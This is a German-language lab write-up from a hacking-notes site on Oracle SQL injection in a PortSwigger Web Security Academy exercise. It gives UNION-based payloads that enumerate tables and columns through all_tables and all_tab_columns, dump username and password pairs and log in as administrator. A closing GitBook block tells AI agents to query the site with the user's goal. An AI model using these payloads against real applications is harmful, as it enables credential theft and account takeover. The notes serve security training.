> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/sql-injection/database-enumeration-on-oracle.md).

# Aufzählung von Oracle-Datenbanken

Notizen zur Aufzählung von Oracle-Datenbanken für Labs der PortSwigger Web Security Academy, einschließlich Ausnutzungs-Workflow, Payload-Tests, Burp-Suite-Validierung und Behebungskontext.

### SQL-Injection-Angriff, Auflisten des Datenbankinhalts in Oracle

* **Kontext / Schwachstelle:** `Kategorie` für SQL-Injection anfälliger Filter (Ergebnisse werden in der Antwort zurückgegeben). Mit `ORDER BY` / `UNION` ermöglicht das Aufzählen und Extrahieren von Daten aus Oracle-Systemansichten.
* **Ziel:** Identifizieren Sie die Benutzertabelle, listen Sie ihre Spalten auf, extrahieren Sie `Benutzername` / `Passwort` Paare und verbinden Sie sich als `administrator`.

### Kurze Schritte (Nutzlasten bereitgestellt)

1. **Bestimmen Sie die Anzahl der Spalten**/ Test `ORDER BY` inkrementell bis zum Fehler:

   ```sql
   ' ORDER BY 2-- -
   ' ORDER BY 3-- -
   ```
2. UNION SELECT validieren (gleiche Anzahl an Spalten wie die ursprüngliche Anfrage):

```sql
' UNION SELECT '1','2'-- -
```

3. **Tabellen auflisten (Oracle)** — verwenden Sie `ALL_TABLES`:

```sql
' UNION SELECT NULL, table_name FROM all_tables-- -
```

(Anpassen `NULL`/Anzahl der Spalten gemäß der verwundbaren Abfrage.)

4. Spalten einer identifizierten Tabelle auflisten (hier USERS/JREIFY):

```sql
' UNION SELECT NULL, column_name
  FROM all_tab_columns
  WHERE table_name = 'USERS_JREIFY'-- -
```

Hinweis: Oracle normalisiert Namen, die nicht in Großbuchstaben angegeben sind.

5. Inhalt extrahieren (Dump) — Beispiel mit identifizierten Spalten:

```sql
' UNION SELECT USERNAME_SWTJLF, PASSWORD_NTBPBA
  FROM USERS_JREIFY-- -
```

Reihenfolge/Typen anpassen; verwenden Sie `TO_CHAR`, `CAST` oder `NULL` um die Typen bei Bedarf anzugleichen.

6. **Admin-Login**

* Verwenden Sie die exfiltrierten Zugangsdaten auf der Anmeldeseite.
* Oder führen Sie bei Bedarf einen Authentifizierungs-Bypass durch, sobald die Spalten bestätigt sind.

Nützliche technische Details

* Wenn UNION aufgrund unterschiedlicher Typen fehlschlägt, ersetzen Sie Spalten durch NULL oder TO\_CHAR(col), um die Kompatibilität zu erzwingen.
* Metadatenansichten (ALL\_TABLES, ALL\_TAB\_COLUMNS, DBA\_/\*) können durch die Privilegien des DB-Kontos eingeschränkt sein; der Zugriff variiert je nach Anwendungsrechten.
* Oracle verlangt für Vergleiche oft Namen in Großbuchstaben: table\_name = 'USERS/JREIFY', sofern die Tabelle nicht in Anführungszeichen erstellt wurde.

Auswirkung

* Kompatibilität von Bezeichnern, erweiterter Zugriff, Datenexfiltration/-änderung, vollständige Anwendungssteuerung.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/de/web/sql-injection/database-enumeration-on-oracle.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
